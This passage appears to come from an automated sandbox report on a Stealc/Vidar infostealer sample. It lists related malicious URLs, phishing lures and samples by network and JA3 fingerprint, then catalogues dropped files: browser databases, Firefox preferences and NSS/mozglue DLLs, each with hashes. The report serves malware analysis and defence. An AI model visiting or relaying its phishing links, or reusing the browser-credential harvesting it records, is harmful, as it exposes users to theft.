EDGECASTUS	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!s553e3fe901654d86bcc4ed44c7c05dd3&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0V1a19QbFZsQVlaTnZNVHRSTWZBWGRNQmtvbDQ2b1NlN1o5MGFiazNzS3lGSlE_ZT1UMnQ4S3Y&wd=target%28Sezione%20senza%20titolo.one%7C8d7e5173-6006-4648-a69d-e39e66e7041a%2FAblehnung%20Rechnung%20R15946098273-KU30_WE02%20Vom%2028%5C%2F%7Cd77916b9-b471-429a-a13e-74764563e56b%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse	152.199.19.160
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.195.19.97
	W6Z9uSRsKQ.elf	Get hash	malicious	Unknown	Browse	152.199.65.63
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.195.19.97
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.195.19.97
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.195.19.97
	https://mailhotcmhakamloops.wordpress.com/	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://bioaquatictesting-my.sharepoint.com/:f:/g/personal/securedocument_bio-aquatic_com/EqfT1pjHkSVIsZ_uZ-FoAy4BgWwRj-5I-q_oaUpvi5Mxeg?e=eaqeTT	Get hash	malicious	Unknown	Browse	152.199.21.175
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.195.19.97
	-Payout Salary Benefits.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	152.199.21.175
AMAZON-02US	Viridine84.exe	Get hash	malicious	FormBook, GuLoader	Browse	76.223.54.146
	https://volmesappliant.com/postback?cid=%7Bcid%7D&payout=payout&currency=OPTIONAL&txid=txid&et=ftd	Get hash	malicious	Unknown	Browse	143.204.98.42
	http://etf-remittance-payout.s3.us-east-1.amazonaws.com/DMwNjk0MTU2LWI2MTItNDg5My04YmZhLWNhMzBjZTMzO/jZTMzODU5NwBGAAAAAAA/doc.html	Get hash	malicious	Unknown	Browse	52.217.114.186
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	108.156.211.59
	na.doc	Get hash	malicious	FormBook	Browse	13.248.213.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.32.99.66
	Payment&WarantyBonds.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	Order pdf.exe	Get hash	malicious	DBatLoader, FormBook	Browse	185.166.143.49
	Proforma Fatura ektedir.exe	Get hash	malicious	DBatLoader, FormBook	Browse	185.166.143.49
	Order Pdf.exe	Get hash	malicious	DBatLoader	Browse	52.217.116.65

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://draxcc.com/	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.253.45 184.28.90.27
	http://xn--gba7iaacaabba0ab51nca04ecacdad9203oearjjb191bfa.mkto-sj030022.com	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.253.45 184.28.90.27
	https://volmesappliant.com/postback?cid=%7Bcid%7D&payout=payout&currency=OPTIONAL&txid=txid&et=ftd	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.253.45 184.28.90.27
	http://timecode.com.ar/Webmail/2/Webmail/webmail.php?email=gc@virtualintelligencebriefing.com	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 13.107.253.45 184.28.90.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	4.175.87.197 13.107.253.45 184.28.90.27
	Orden de Compra.xlam.xlsx	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.253.45 184.28.90.27
	Reff_Yazaki-europe_575810710108_ZnjKTIejsM.html	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.253.45 184.28.90.27
	PO-004976.xls	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.253.45 184.28.90.27
	Transferencia.xls	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.253.45 184.28.90.27
	Orden de Compra No. 434565344657.xlam.xlsx	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.253.45 184.28.90.27
3b5074b1b5d032e5620f69f9f700ff0e	app64.exe	Get hash	malicious	Unknown	Browse	40.113.103.199
	INQ-40152.scr	Get hash	malicious	Unknown	Browse	40.113.103.199
	Shipping documents 00039984849900044800.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	40.113.103.199
	z1Transaction_ID_REF2418_cmd.bat	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	40.113.103.199
	greatthingswithmegood.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	40.113.103.199
	file.exe	Get hash	malicious	WhiteSnake Stealer	Browse	40.113.103.199
	Reff_Yazaki-europe_575810710108_ZnjKTIejsM.html	Get hash	malicious	Unknown	Browse	40.113.103.199
	ADJUNTA.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	40.113.103.199
	File07098.PDF.exe	Get hash	malicious	Snake Keylogger	Browse	40.113.103.199
	Payment Slip_SJJ023639#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	40.113.103.199

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	kj5la5X8gv.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	NGy4YdKSwE.exe	Get hash	malicious	Stealc, Vidar	Browse
	NlpWS1Iq5Z.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFCFHDHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BAEBGHCFCAAFIECAFIII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\BAKJKFHCAEGDHIDGDHDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBAFIDAECBGCBFHJEBGDHDBKFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBGHIIJDGHCBFIECBKEGHDHDBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDAECAEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2676714377417346
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMhSA1LyKOMq+8iP5GDHP/0jMVume:Kq+n0Jh91LyKOMq+8iP5GLP/0r
MD5:	16E643F85E120E989371676320B53A62
SHA1:	8EB15D01E544855B75EC69A15695BF588450B37C
SHA-256:	53BA9E9E4F826D30312B4901617768337C53EEEC9DBC4252C6B33D5471BFA5E2
SHA-512:	C43C549A9561BC1D3F568679F676051CA17BC740962BA4E48F461040BB135AE0AAD76500B41EBB7A96DBF5831BEEA3F17B7C6A4D1E3D388833A36ACC668457E6
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIIEBAFCBKFIDGCAKKKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: kj5la5X8gv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: NGy4YdKSwE.exe, Detection: malicious, Browse Filename: NlpWS1Iq5Z.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\12b1310a-bed5-4e60-8e19-94d2d012fec4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089817943648934
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMgkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynizkzItSmd6qE7lFoC
MD5:	5CD2652FB91916B161F24B5F0F46FF0F
SHA1:	BF1F6F669F2AE5C861C678DCE16AF10F33537A11
SHA-256:	2A6D964043BC9FE51AB3DADB087207B430D04F43C9C3FFC3F7FB80716E9E9B98
SHA-512:	9E5D43DC692BD8F802F073FDDB578C53612EB4B989BB2DD1D9DD402FF24E45D0AF0CBAF970813F1961535AECCF9A62C567E26869525D8EE9D081C99549B4DFBF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\13d5101c-ebd1-4663-9dfe-9b183c9acaa3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46578
Entropy (8bit):	6.086073436720851
Encrypted:	false
SSDEEP:	768:JMkbJrT8IeQcrQgi9FtnUi1zNtiAUvFJ7FbkTWWhy1DhuCioqJDSgzMMd6qD47u6:JMk1rT8HC9SY014FoqtSmd6qE7j
MD5:	FE5B1EDB048EDD8310FE8C70CF20D201
SHA1:	E5130417F5AE38A562A4115E34A9ED991DAB8129
SHA-256:	B464F5C7CA9BA4A9E35631EEFA0748A7E96464E09B951D5D37454D2550A34C47
SHA-512:	DCEC2AAC9028E468A45887CCECF5E55D115360377AF43B380858CC359C76C757C0BE5E6347B9FDB8071578B358F8FCB2BDA9622D36D9A540F38C52B76C5A01E9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13374758727811049","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"485b8f87-bfae-4f40-9c4f-a9549473e06e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730285132"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\191f1581-3551-4f98-831e-4e0326a579fa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46578
Entropy (8bit):	6.086071179831427
Encrypted:	false
SSDEEP:	768:JMkbJrT8IeQcrQgiKFtnUi1zNtiAUvFJ7FbkTWWhy1DhuCioqJDSgzMMd6qD47u6:JMk1rT8HCKSY014FoqtSmd6qE7j
MD5:	4541E67D405681CDC223ED55E46E543E
SHA1:	48293BE1727758657AA1E50153EE29B1164EE0B7
SHA-256:	752A0C38960C28508D4DC09E5385A501FECAD5DADC84EBAFCDC87BA39A03133E
